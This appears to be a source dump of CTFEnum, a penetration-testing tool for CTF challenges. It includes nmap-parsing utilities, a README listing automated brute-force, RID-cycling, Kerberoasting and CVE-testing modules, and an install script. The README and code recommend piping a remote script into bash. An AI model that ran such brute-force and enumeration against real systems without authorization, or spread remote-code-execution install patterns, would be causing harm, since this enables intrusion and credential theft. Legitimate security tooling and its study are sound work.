'WHITE' 19 | 20 | max_subprocess = 200 21 | 22 | logs_folder = 'ctfenum_logs' 23 | system(f'mkdir {logs_folder} 2>/dev/null') 24 | 25 | def printc(text, color=None, back_color=None): 26 | if color is not None: 27 | colored_text = getattr(Fore, color.upper(), Fore.RESET) + Style.BRIGHT + text 28 | else: 29 | colored_text = Style.RESET_ALL + text 30 | 31 | if back_color is not None: 32 | colored_text = getattr(Back, back_color.upper(), Back.RESET) + colored_text 33 | 34 | print(colored_text + Style.RESET_ALL) 35 | 36 | 37 | # Prints a command output separator 38 | def print_separator(): 39 | printc('=' * 70, YELLOW) 40 | 41 | 42 | def print_banner(port): 43 | print_separator() 44 | printc(f'[!] Attacking port {port}', YELLOW) 45 | 46 | 47 | def scan_for_dns(nmap_detail): 48 | detail = nmap_detail.splitlines() 49 | 50 | for line in detail: 51 | if 'Domain:' in line: 52 | results = re.findall(r'Domain: (.+)0\.', line) 53 | if results: 54 | parts = results[0].split('.') 55 | if len(parts) > 1: 56 | dns = f'{parts[-2]}.{parts[-1]}'.strip() 57 | return dns 58 | elif 'DNS:' in line: 59 | results = re.findall(r'DNS:.+\.(.+\..+)', line) 60 | if results: 61 | dns = results[0].strip() 62 | return dns 63 | elif 'DNS_Domain_Name' in line: 64 | results = re.findall(r'DNS_Domain_Name: (.*)\n', line) 65 | if results: 66 | dns = results[0].strip() 67 | return dns 68 | elif 'DNS_Tree_Name' in line: 69 | results = re.findall(r'DNS_Tree_Name: (.*)\n', line) 70 | if results: 71 | dns = results[0].strip() 72 | return dns 73 | elif ('ssl-cert' in line) and ('commonName' in line): 74 | results = re.findall(r'commonName=(.*)\n', line) 75 | if results: 76 | parts = results[0].split('.') 77 | if len(parts) > 1: 78 | dns = f'{parts[-2]}.{parts[-1]}'.strip() 79 | return dns 80 | return '' 81 | 82 | def scan_hostname(nmap_detail): 83 | detail = nmap_detail.splitlines() 84 | 85 | for line in detail: 86 | if 'Host:' in line: 87 | results = re.findall(r'Host: (.+?);', line) 88 | if results: 89 | host = results[0].strip() 90 | return host 91 | elif 'NetBIOS:' in line: 92 | results = re.findall(r'NetBIOS name: (.+),', line) 93 | if results: 94 | host = results[0].strip() 95 | return host 96 | elif 'NetBIOS_Computer_Name' in line: 97 | results = re.findall(r'NetBIOS_Computer_Name: (.*)\n', line) 98 | if results: 99 | host = results[0].strip() 100 | return host 101 | return '' 102 | 103 | def clean_hosts(ip, subdomain=None): 104 | with open('/etc/hosts', 'r') as file: 105 | data = file.readlines() 106 | 107 | line_to_delete = [] 108 | 109 | for line in data: 110 | if len(line) < 5: 111 | line_to_delete.append(line) 112 | continue 113 | elif ip in line: 114 | line_to_delete.append(line) 115 | continue 116 | if subdomain: 117 | if subdomain in line: 118 | line_to_delete.append(line) 119 | 120 | for line in line_to_delete: 121 | try: 122 | data.remove(line) 123 | except: 124 | continue 125 | 126 | with open('/etc/hosts', 'w') as file: 127 | new_data = ''.join(data) 128 | file.write(new_data) 129 | 130 | 131 | # Starts a list of subprocesses and then wait for them to finish 132 | def launch_procs(procs): 133 | while procs: 134 | try: 135 | running_procs = [] 136 | 137 | # Launch subprocesses up to the maximum limit or until the end of the list 138 | 139 | for proc in procs[:max_subprocess]: 140 | proc.start() 141 | running_procs.append(proc) 142 | 143 | # Wait for the running subprocesses to finish 144 | for proc in running_procs: 145 | proc.join() 146 | 147 | # Remove finished subprocesses from the list 148 | procs = procs[max_subprocess:] 149 | except: 150 | continue 151 | return [] 152 | 153 | 154 | # Returns from a given username: an empty value, the same value, the reversed value 155 | def get_usernames_esr(username): 156 | return ['', username, ''.join(reversed(username))] 157 | 158 | 159 | # Version check utility 160 | def check_version(): 161 | banner = """ 162 | ╔─────────────────────────────────────────────────────────────────────╗ 163 | │ ██████╗████████╗███████╗ ███████╗███╗ ██╗██╗ ██╗███╗ ███╗ │ 164 | │ ██╔════╝╚══██╔══╝██╔════╝ ██╔════╝████╗ ██║██║ ██║████╗ ████║ │ 165 | │ ██║ ██║ █████╗ █████╗ ██╔██╗ ██║██║ ██║██╔████╔██║ │ 166 | │ ██║ ██║ ██╔══╝ ██╔══╝ ██║╚██╗██║██║ ██║██║╚██╔╝██║ │ 167 | │ ╚██████╗ ██║ ██║ ███████╗██║ ╚████║╚██████╔╝██║ ╚═╝ ██║ │ 168 | │ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ │ 169 | ╚─────────────────────────────────────────────────────────────────────╝ 170 | """ 171 | printc(banner, GREEN) 172 | 173 | current_version = '1.0.0' 174 | 175 | with open('/opt/CTFEnum/CTFenum/mods/version', 'r') as file: 176 | current_version = file.read() 177 | print('[!] Version: ', end='') 178 | printc(current_version, GREEN) 179 | current_version = current_version.replace('.', '') 180 | 181 | online_version_url = 'https://raw.githubusercontent.com/josemlwdf/CTFEnum/main/CTFenum/mods/version' 182 | online_version = current_version 183 | try: 184 | response = requests.get(online_version_url) 185 | except: 186 | pass 187 | if response: 188 | formatted_online_version = response.text 189 | online_version = formatted_online_version.replace('.', '') 190 | 191 | if online_version > current_version: 192 | printc('[*] A New version of CTF Enum is available.', GREEN) 193 | print('[!] GitHub version is: ', end='') 194 | printc(formatted_online_version, YELLOW, RED) 195 | 196 | cmd = 'curl https://raw.githubusercontent.com/josemlwdf/CTFEnum/main/install.sh|bash' 197 | print(f'[!] {cmd}') 198 | printc(f'[-] Update as soon as possible.', RED) 199 | print_separator() 200 | 201 | def log(data, cmd, target='', tool='ctfenum'): 202 | thislog_path = f'{logs_folder}/{target.replace(".", "-")}' 203 | dir_cmd = f'mkdir -p {thislog_path} 2>/dev/null' 204 | system(dir_cmd) 205 | with open(f'./{thislog_path}/{tool}.txt', 'a') as file: 206 | file.write('*' * 20 + '\n' + cmd + '\n\n' + data + '\n') -------------------------------------------------------------------------------- /CTFenum/mods/version: -------------------------------------------------------------------------------- 1 | 1.0.1 2 | -------------------------------------------------------------------------------- /CTFenum/push: -------------------------------------------------------------------------------- 1 | git add . 2 | echo "Commit Message" 3 | read commit 4 | git commit -m "$commit" 5 | git push -u origin dev 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTFEnum - Network Penetration Test Tool 2 | 3 | ## Overview 4 | CTFEnum is a Python-based tool designed to assist in network penetration tests, particularly for Capture The Flag (CTF) challenges. It performs reconnaissance by scanning and analyzing open ports on a provided IP address. The tool uses various modules to probe different services associated with these open ports. Employing multiprocessing, it concurrently executes different modules to identify potential vulnerabilities across multiple ports. 5 | 6 | ## Features 7 | Scans open TCP and UDP ports using Nmap. 8 | Utilizes modular design with specific handlers for different services (e.g., FTP, Telnet, SMTP, HTTP, DNS, Kerberos, etc.). 9 | Provides recommendations and potential actions for specific ports (e.g., brute force attempts, service-specific commands). 10 | 11 | ## Requirements 12 | Python 3.x 13 | Nmap 14 | Gobuster 15 | Dig 16 | Crackmapexec 17 | Metasploit 18 | etc... 19 | Required Python libraries: subprocess, multiprocessing, sys, re, etc... 20 | 21 | ## Installation 22 | curl https://raw.githubusercontent.com/josemlwdf/CTFEnum/main/install.sh|bash 23 | 24 | ## Usage 25 | 26 | Run the tool by providing the IP address as an argument: 27 | 28 | python3 /application/path/CTFEnum.py 29 | 30 | If installed with install.sh: 31 | 32 | ctfenum 33 | 34 | Replace with the target IP address you intend to scan. 35 | 36 | ![image](https://github.com/user-attachments/assets/8cc9aae0-0888-453f-b731-4b0f174c90ae) 37 | 38 | The program will perform a comprehensive port scan using Nmap to identify open TCP and UDP ports on the specified IP address. 39 | 40 | CTFEnum will then initiate module-specific handlers based on identified open ports to analyze and potentially exploit services running on these ports. 41 | 42 | ## Detailed Features (Modules) 43 | 44 | #### NMAP Scan 45 | - Automatic nmap ports detection + Nmap port details Scan. 46 | ![image](https://github.com/user-attachments/assets/da03d1b5-7a5e-455a-8219-c279a43b6674) 47 | 48 | - Scraps for DNS from Nmpa Scan. 49 | 50 | #### FTP 51 | - Check for anonymous login. 52 | - Bruteforce using common users and passwords. 53 | - List directories. 54 | ![image](https://github.com/user-attachments/assets/6e943af3-3497-410a-a787-edbc8a2ef8ef) 55 | 56 | #### SSH 57 | - Suggests SSH credentials bruteforce. 58 | ![image](https://github.com/user-attachments/assets/e41add59-55f3-4489-9008-7875981f3d50) 59 | 60 | #### TELNET 61 | - Retrieve Nmap information using this service specific scripts. 62 | 63 | #### SMTP 64 | - Retrieve Nmap information using this service specific scripts. 65 | 66 | #### FINGER 67 | - Enumerate users using this service. 68 | 69 | #### HTTP 70 | - Identify server and possible common technologies. 71 | - Crawl and bruteforce locations using feroxbuster. 72 | ![image](https://github.com/user-attachments/assets/19d75ed8-6292-4385-8a7f-46f435c3d75e) 73 | 74 | - Detects VHOSTS and add them automatically to /etc/hosts file. 75 | - Extract comments from the founded URLs. 76 | ![image](https://github.com/user-attachments/assets/7595168c-5909-4d9d-b411-8aef7e1d7b78) 77 | 78 | - Test automatically for Apache Server CVEs if the version matches. 79 | 80 | #### KERBEROS 81 | - Kerberos usenames enumeration. 82 | ![image](https://github.com/user-attachments/assets/8ac15b1f-2c51-43c9-bd67-5476337092da) 83 | 84 | - Kerberoast Automatic ticket Extraction. 85 | - Kerberos Atuomatic Synchronization with DC. 86 | - Suggest Ticket Cracking. 87 | ![image](https://github.com/user-attachments/assets/4942ebbb-e9fc-40dc-9ee7-b759fadeb8df) 88 | 89 | #### POP 90 | - Suggests POP credentials bruteforce. 91 | 92 | #### RPC BIND 93 | - Suggest Hacktrics page as reference. 94 | 95 | #### IMAP 96 | - Enumerates IMAP version. 97 | - Suggests Hacktrics page as reference. 98 | 99 | #### SMB 100 | - RID Cycling usernames enumeration Attack as Guest. 101 | ![image](https://github.com/user-attachments/assets/7b734676-1de8-428e-92f9-896fba16adae) 102 | 103 | - RID Cycling usernames enumeration Attack with founded credentials. 104 | - Bruteforce using common users and passwords. 105 | - Bruteforce using founded users. 106 | ![image](https://github.com/user-attachments/assets/16f7fb59-e5c0-4e00-9569-05a6ddd7b3dd) 107 | 108 | - Bruteforce using options NULL pass, User as Pass and common passwords. 109 | - Shares enumeration using NULL creds, Guest and founded credentials. 110 | ![image](https://github.com/user-attachments/assets/269e3c46-3330-45db-8d16-eacbad837f42) 111 | 112 | 113 | #### TFTP 114 | - Check if TFTP server allow PUT files. 115 | 116 | #### SNMP 117 | - Automatic Nmap SNMP targeted scan. 118 | - Community password bruteforce. 119 | - Automatic strings extraction. 120 | 121 | #### DNS 122 | - Perform dig scan on DNS. 123 | - Automatic DNS registration on /etc/hosts file. 124 | 125 | #### IRC 126 | - Suggest Hacktrics page as reference. 127 | 128 | #### CHECKPOINT FIREWALL 129 | - Enumerates the hostname 130 | 131 | ## Notes 132 | 133 | ``The tool suggests actions for certain ports, such as potential brute force attempts or specific commands to execute. 134 | For optimal usage, ensure proper permissions and avoid using this tool on networks you don't have authorization to test.`` 135 | 136 | ## Disclaimer 137 | 138 | This tool is intended for educational and ethical penetration testing purposes only. Ensure that you have proper authorization before using it on any network or system you do not own or have explicit permission to test. 139 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | 4 | # Add Kali repositories 5 | echo -e "deb http://http.kali.org/kali kali-rolling main non-free contrib\ndeb-src http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee -a /etc/apt/sources.list 6 | 7 | # Add Kali keyrings 8 | cd /tmp && wget http://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_$(date | awk '{print $7}').1_all.deb && sudo apt install ./kali-archive-keyring*.deb && rm ./kali-archive-keyring*.deb 9 | 10 | # Update the packages list 11 | sudo apt update 12 | 13 | # Determine which pip to use 14 | if which pip3 &>/dev/null; then 15 | PIP_CMD="pip3" 16 | else 17 | echo "[!] pip3 not found, installing python3-pip..." 18 | sudo apt install -y python3-pip 19 | PIP_CMD="pip3" 20 | fi 21 | 22 | # Function to check if a command exists 23 | command_exists() { 24 | which "$1" >/dev/null 2>&1 25 | } 26 | 27 | sudo rm -rf /opt/CTFEnum 28 | 29 | # Detect WSL 30 | PIP_EXTRA_ARGS="" 31 | if grep -qi microsoft /proc/sys/kernel/osrelease || uname -r | grep -i microsoft; then 32 | echo "[*] Detected WSL - adding --break-system-packages to pip install" 33 | PIP_EXTRA_ARGS="--break-system-packages" 34 | fi 35 | 36 | sudo $PIP_CMD install --upgrade colorama $PIP_EXTRA_ARGS 37 | 38 | # Install or fallback via Snap/Git 39 | install_tool() { 40 | local bin="$1" pkg="$2" snap="$3" git_repo="$4" git_dest="$5" 41 | if ! command_exists "$bin"; then 42 | echo "[*] Installing $bin..." 43 | if apt-cache show "$pkg" &>/dev/null; then 44 | sudo apt install -y "$pkg" 45 | elif command_exists snap && [ -n "$snap" ]; then 46 | sudo snap install "$snap" 47 | elif [ -n "$git_repo" ]; then 48 | sudo git clone "$git_repo" "$git_dest" 49 | else 50 | echo "[!] No install method for $bin" 51 | fi 52 | fi 53 | } 54 | 55 | # git 56 | install_tool git git "" "" "" 57 | # seclists 58 | install_tool seclists seclists "" https://github.com/danielmiessler/SecLists.git /usr/share/SecLists 59 | # nmap 60 | install_tool nmap nmap "" "" "" 61 | # gobuster 62 | install_tool gobuster gobuster "" "" "" 63 | # sntp 64 | install_tool sntp sntp "" "" "" 65 | # john 66 | install_tool john john "" "" "" 67 | # impacket 68 | install_tool impacket-GetUserSPNs impacket-scripts "" https://github.com/fortra/impacket.git /opt/impacket 69 | 70 | # Check and install feroxbuster 71 | if ! command_exists feroxbuster; then 72 | echo "[*] Installing feroxbuster..." 73 | if apt-cache show feroxbuster &>/dev/null; then 74 | sudo apt install -y feroxbuster 75 | else 76 | curl -sL https://github.com/epi052/feroxbuster/releases/latest/download/feroxbuster_amd64.deb.zip -o feroxbuster.deb.zip 77 | unzip -o feroxbuster.deb.zip 78 | sudo apt install -y ./feroxbuster_*_amd64.deb 79 | rm -f feroxbuster.deb.zip feroxbuster_*_amd64.deb 80 | fi 81 | fi 82 | 83 | # metasploit 84 | install_tool msfconsole metasploit-framework "" "" "" 85 | # dig (dnsutils) 86 | install_tool dig dnsutils "" "" "" 87 | # snmpwalk (snmp) 88 | install_tool snmpwalk snmp "" "" "" 89 | 90 | # Check and install ldapdomaindump 91 | if ! command_exists ldapdomaindump; then 92 | echo "Installing ldapdomaindump..." 93 | sudo $PIP_CMD install ldapdomaindump 94 | fi 95 | 96 | # Clone CTFEnum repository and set up ctfenum command 97 | if [ ! -d "/opt/CTFEnum" ]; then 98 | echo "Cloning CTFEnum repository..." 99 | sudo git clone https://github.com/josemlwdf/CTFEnum /opt/CTFEnum 100 | sudo chown -R "$(id -u):$(id -g)" /opt/CTFEnum 101 | git config --global --add safe.directory /opt/CTFEnum 102 | fi 103 | 104 | # Create ctfenum command 105 | if [ ! -f "/usr/sbin/ctfenum" ]; then 106 | echo "Setting up ctfenum command..." 107 | echo '#!/bin/bash' | sudo tee /usr/sbin/ctfenum 2>/dev/null 108 | echo 'sudo python3 /opt/CTFEnum/CTFenum/CTFenum.py "$1"' | sudo tee -a /usr/sbin/ctfenum 2>/dev/null 109 | sudo chmod +x /usr/sbin/ctfenum; 110 | fi 111 | --------------------------------------------------------------------------------